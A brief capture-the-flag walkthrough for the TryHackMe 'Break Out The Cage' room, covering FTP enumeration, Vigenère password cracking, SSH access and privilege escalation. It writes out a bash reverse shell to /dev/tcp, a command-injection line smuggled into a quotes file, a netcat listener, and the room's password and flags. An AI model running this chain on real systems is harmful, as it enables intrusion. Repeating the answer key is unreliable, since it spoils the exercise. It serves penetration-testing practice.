# Break Out The Cage

```anonymous
ftp 10.10.65.125
```

```download
get dad_tasks
```

[vigener-solver](https://www.guballa.de/vigenere-solver)

> Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!! One. Revamp the website Two. Put more quotes in script Three. Buy bee pesticide Four. Help him with acting lessons Five. Teach Dad what "information security" is. In case I forget.... Mydadisghostrideraintthatcoolnocausehesonfirejokes

#### ssh

\==weston:Mydadisghostrideraintthatcoolnocausehesonfirejokes== (weston found in source code also question)

```
sudo -l
```

```msg
sudo /usr/bin/bees
```

> Broadcast message from weston@national-treasure (pts/0) (Sat Aug 13 16:52:24 20\
> AHHHHHHH THEEEEE BEEEEESSSS!!!!!!!! (through wall)

```files
find / -type f -user cage 2>/dev/null
```

`/opt/.dads_scripts/spread_the_quotes.py` `/opt/.dads_scripts/.files/.quotes`

```
cat /opt/.dads_scripts/spread_the_quotes.py
```

> \#!/usr/bin/env python #Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!) import os import random lines = open("/opt/.dads\_scripts/.files/.quotes").read().splitlines() quote = random.choice(lines) os.system("wall " + quote)

```some
cat /opt/.dads_scripts/.files/.quotes
```

**reverse shell**

`cat > some.sh << EOF-EOF block to print the contents enclosed within this block in the terminal.`

```
cat > /tmp/shell.sh << EOF
```

_write_ #!/bin/bash bash -i >& /dev/tcp/_vpn-ip_/4444 0>&1 EOF

or just nano

> cat /tmp/shell.sh #!/bin/bash bash -i >& /dev/tcp/_vpn-ip_/4444 0>&1

```
chmod +x /tmp/shell.sh
```

```
printf 'anything;/tmp/shell.sh\n' > /opt/.dads_scripts/.files/.quotes
```

**netcat(kali machine)**

```
rlwrap nc -nlvp 4444 
```

```cage
ls
```

```
cat Super_Duper_Checklist
```

> 1 - Increase acting lesson budget by at least 30% 2 - Get Weston to stop wearing eye-liner 3 - Get a new pet octopus 4 - Try and keep current wife 5 - Figure out why Weston has this etched into his desk: ==THM{M37AL\_0R\_P3N\_T35T1NG}==

#### priv esc

```to
cat email_backup/*
```

> found cageisnotalegend and key face [vigenere-tool](https://www.boxentriq.com/code-breaking/vigenere-cipher)

\==cageisnotalegend==

```not
python3 -c "import pty;pty.spawn('/bin/bash')"
```

```enter
su root
```

`pass: cageisnotalegend`

```
cat /root/email_backups/*
```

\==THM{8R1NG\_D0WN\_7H3\_C493\_L0N9\_L1V3\_M3}==

* What is Weston's password?_Mydadisghostrideraintthatcoolnocausehesonfirejokes_
* What's the user flag?_THM{M37AL\_0R\_P3N\_T35T1NG}_
* What's the root flag?_THM{8R1NG\_D0WN\_7H3\_C493\_L0N9\_L1V3\_M3}_

\[\[Gotta Catch'em All!]]
